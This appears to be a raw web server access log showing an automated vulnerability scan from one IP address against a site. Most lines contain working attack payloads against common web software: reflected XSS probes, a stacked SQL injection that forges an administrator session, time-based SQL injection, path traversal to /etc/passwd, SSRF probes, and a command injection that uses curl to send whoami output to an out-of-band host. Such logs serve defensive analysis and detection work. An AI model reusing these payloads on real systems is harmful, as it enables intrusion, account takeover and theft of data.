[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.php HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/jmsblog/config.xml HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webmail/?color=\"><img+src=x+onerror=confirm(document.domain)> HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /moveitisapi/moveitisapi.dll?action=m2 HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /enrollment/index.php?page=home HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /home/courses?query=\"><svg+onload=alert(document.domain)> HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.php HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/firmware?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?k304=y%0D%0A%0D%0A%3Cimg+src%3Dcopyparty+onerror%3Dalert(document.domain)%3E HTTP/1.1" 3426
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mifs/asfV3/api/v2/admins/users HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /380DIPoXjdJgoKGhEhfAhNK79V3 HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.html HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /human.aspx?Username=SQL%27%3BINSERT+INTO+activesessions+(SessionID)+values+(%27380DIaoZ3oDvPFsr2FiP3iTrcPP%27);UPDATE+activesessions+SET+Username=(select+Username+from+users+order+by+permission+desc+limit+1)+WHERE+SessionID=%27380DIaoZ3oDvPFsr2FiP3iTrcPP%27;UPDATE+activesessions+SET+LoginName=%27test@test.com%27+WHERE+SessionID=%27380DIaoZ3oDvPFsr2FiP3iTrcPP%27;UPDATE+activesessions+SET+RealName=%27test@test.com%27+WHERE+SessionID=%27380DIaoZ3oDvPFsr2FiP3iTrcPP%27;UPDATE+activesessions+SET+InstId=%271234%27+WHERE+SessionID=%27380DIaoZ3oDvPFsr2FiP3iTrcPP%27;UPDATE+activesessions+SET+IpAddress=%273.1.128.83%27+WHERE+SessionID=%27380DIaoZ3oDvPFsr2FiP3iTrcPP%27;UPDATE+activesessions+SET+LastTouch=%272099-06-10+09:30:00%27+WHERE+SessionID=%27380DIaoZ3oDvPFsr2FiP3iTrcPP%27;UPDATE+activesessions+SET+DMZInterface=%2710%27+WHERE+SessionID=%27380DIaoZ3oDvPFsr2FiP3iTrcPP%27;UPDATE+activesessions+SET+Timeout=%2760%27+WHERE+SessionID=%27380DIaoZ3oDvPFsr2FiP3iTrcPP%27;UPDATE+activesessions+SET+ResilNode=%2710%27+WHERE+SessionID=%27380DIaoZ3oDvPFsr2FiP3iTrcPP%27;UPDATE+activesessions+SET+AcctReady=%271%27+WHERE+SessionID=%27380DIaoZ3oDvPFsr2FiP3iTrcPP%27%23 HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.hsp?passwordExpired=yes&username=\\'-alert(document.domain),// HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /mics/services/MICSLogService HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webmail/?color=%22%3e%3cimg%20src%20onerror%3dalert(document.domain)%3e%3c%22%27 HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public_html.Z HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php/gm5rj%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3Ebwude?controller=pjAdmin&action=pjActionLogin&err=1 HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /b_download/index.html HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /app HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //main.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?controller=pjFrontPublic&action=pjActionServices&locale=1&index=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /loadfile.lp?pageid=Configure HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 226
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 226
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.cpr/%2Fetc%2Fpasswd HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tabella.php?jkuh3%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Eyql8b=1 HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?controller=pjFront&action=pjActionSearch&session_id&locale=1&index=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&date HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?controller=pjFront&action=pjActionServices&locale=1&index=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?controller=pjFrontEnd&action=pjActionGetLocations&locale=1&locale&hide=0&index=4005&index=0&pickup_id=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&cid=1&view=1&month=7&year=2023&start_dt&end_dt&session_id HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /resources/qmc/fonts/../../../qrs/ReloadTask?xrfkey=1333333333333337&filter=.ttf HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /setup/setupadministrator.action HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?controller=pjFrontPublic&action=pjActionSearch&locale=1&index=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /RealGimmWeb/Pages/Sistema/LogObjectTrace.aspx HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /resources/qmc/fonts/CVE-2023-41265.ttf HTTP/1.1" 226
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /search/index?q=\"><img+src=a+onerror=alert(document.domain)>ridxm HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /preview.php?controller=pjLoad&action=pjActionIndex&question_search=1&pjPage=1&column=created&direction=DESC&keyword=%22><script>alert(document.domain)</script> HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/sys/set_passwd HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lwa/Webpages/LwaClient.aspx?meeturl=aHR0cDovL2Q1ZzZ0bzJoYXVzazFvajBqNjVnOXFldDNnOHk4N3ljZC5vYXN0LmxpdmUvP2lkPXRybyUyNXsxMzM3KjEzMzd9Iy54eC8v HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/1 HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /classified/%22%3E%3Cimg%20src=a%20onerror=alert('document.domain')%3E/search?category=1 HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/updateproducts/send.php?phpinfo=1 HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /opencms/cmisatom/cmis-online/type?id=1%27\"><svg%20onload=alert(document.domain)> HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /opencms/cmisatom/cmis-online/query HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /WebInterface HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lang/log/httpd.log HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ad-list-search?keyword&keyword&lat&lat&long&long&location&category HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /users/change_emailahrixia%22%3e%3cimg%20src%3da%20onerror%3dalert(document.domain)%3eahrixia?step1=1 HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/server/version HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hoteldruid/inizio.php HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /users/test%22%3E%3Cimg%20src=a%20onerror=alert(document.domain)%3Etest HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/sys/login HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wms HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ywzpA8oE%22%3E%3Cimg%20src=a%20onerror=alert%28document.domain%29%3E/..CFIDE/wizards/common/_authenticatewizarduser.cfm HTTP/1.1" 199
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/terminal/sessions/ HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "DELETE /app/rest/users/id:1/tokens/RPC2 HTTP/1.1" 223
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public_html.tar.z HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //settings.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public_html.tgz HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //header.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /install/index.php?1692443074&space=%3Cimg%20src=1%20onerror=alert(document.domain)%3E HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CFIDE/wizards/common/utils.cfc?method=wizardHash%20inPassword=bar%20_cfclient=true HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /friends/ajax_invite?mode=model%27)%3balert(document.domain)%2f%2f;' HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /app/sys1.php HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public_html.db HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/%3Cimg%20src=%22%22%20onerror=alert(document.domain)%3E HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /../../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //libs/bower/bower_components/yui2/sandbox/treeview/removechildren.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/import-xml-feed/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /app HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /editor_tools/rte_image_editor?types=%27;});alert(document.domain);$(picker).on(%27Noodles%27,%20function(result)%20{%20var%20XSS=%27 HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/hassio_ingress/.%09./supervisor/info HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backend/backend/auth/signin HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /crea_modelli.php?anno=2021&id_sessione&fonte_dati_conn=attuali&T_PHPR_DB_TYPE=postgresql&T_PHPR_DB_NAME=%C2%9E%C3%A9e&T_PHPR_DB_HOST=localhost&T_PHPR_DB_PORT=5432&T_PHPR_DB_USER=%C2%9E%C3%A9e&T_PHPR_DB_PASS=%C2%9E%C3%A9e&T_PHPR_LOAD_EXT=NO&T_PHPR_TAB_PRE=%C2%9E%C3%A9e&anno_modello=2021&lingua_modello=en&cambia_frasi=SIipq85%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ef9xkbujgt24&form_availability_calendar_template=1 HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /webtools/control/ProgramExport;/?USERNAME&PASSWORD&requirePasswordChange=Y HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/vitogate.cgi HTTP/1.1" 199
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /oauth/idp/.well-known/openid-configuration HTTP/1.1" 278
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tutor/filter?searched_word&searched_tution_class_type[]=1&price_min=(SELECT(0)FROM(SELECT(SLEEP(7)))a)&price_max=9&searched_price_type[]=hourly&searched_duration[]=0 HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/authentication/login HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /Citrix/teststoreAuth/SamlTest HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?rest_route=/wp/v2/users HTTP/1.1" 3426
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /guestaccess.aspx HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /php/ping.php HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1" 196
[09/Jan/2026:10:54:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/totp/user-backup-code/../../system/system-information HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /stores%22%3E%3Cimg+src=a+onerror=alert%28document.domain%29%3Eridxm/all-products?store_id&keyword&price_from&price_to&rating&store_category_id&sortby=most_recent HTTP/1.1" 199
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /file-manager/backend/makefile HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /RealGimmWeb/Pages/ErroreNonGestito.aspx HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/my-calendar/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /system/modules/alkacon.mercury.template.jsondemo/elements/jsonapi.jsp?content&fallbackLocale&locale=en&rows=1&uri=http://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?filename=../../../../../../etc/passwd&mphb_action=download HTTP/1.1" 3426
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /app/rest/users/id:1/tokens/RPC2 HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php/ekLh.css HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dview8/api/usersByLevel HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/ldap-authentication-report.csv HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/1 HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ajax-api/2.0/mlflow/experiments/create HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /partymgr/control/getJSONuiLabel HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/backups-dup-lite/tmp/ HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/wordpress-toolbar/toolbar.php?wptbto=https://oast.me&wptbhash=acme HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //tagebuch/eintraege/index.html?reloaded&page=1\">%3Cscript%3Ealert(document.domain)%3c%2fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/users HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/backup-backup/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /search/index/?q=test%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3etest HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?rest_route=%2Fessential-blocks%2Fv1%2Fproducts&is_frontend=true&attributes={\"__file\":\"/etc%2fpasswd\"} HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /solr/admin/metrics HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /search?filtered=1&q=test&filter[price]=100-1331\"><script>alert(document.cookie)</script>&filter[attr][Memory][]=16+GB HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /geoserver/wms HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nodes?view=summary HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /modules/ndk_steppingpack/search-result.php HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /connectioncheck.php?ip=127.0.0.1+%26%26+curl+http%3A%2F%2F%24%28whoami%29.d5g6to2hausk1oj0j65g3d9qbrzexaxkr.oast.live HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /dologin.action HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?color=%22%3e%3cimg%20src%20onerror%3dalert(document.domain)%3e%3c%22%27 HTTP/1.1" 3426
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /academy/tutor/filter?searched_word=acoa5\"&gt;&gt;&gt;&gt;&lt;script&lt;script&lt;script&lt;script&gt;alert(document.domain)&gt;alert(document.domain)&gt;alert(document.domain)&gt;alert(document.domain)&lt;/script&lt;/script&lt;/script&lt;/script&gt;dyzs0&gt;dyzs0&gt;dyzs0&gt;dyzs0&searched_tution_class_type%5B%5D=acoa5\"&price_min=1&price_max=9&searched_price_type%5B%5D=acoa5\"&searched_duration%5B%5D=acoa5\" HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/wp-fastest-cache/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pos-kasir-php/excel.php HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?gf_page=randomstring HTTP/1.1" 3426
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /userentry?accountId=/../../../tomcat/webapps/oxveZ/&symbolName=test&base64UserName=YWRtaW4= HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/getCheckCode?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nagiosxi/login.php HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //ywzpA8oE%22%3E%3Cimg%20src=a%20onerror=alert%28document.domain%29%3E/..CFIDE/wizards/common/_authenticatewizarduser.cfm HTTP/1.1" 199
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/media-library-assistant/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cmisatom/cmis-online/query HTTP/1.1" 196
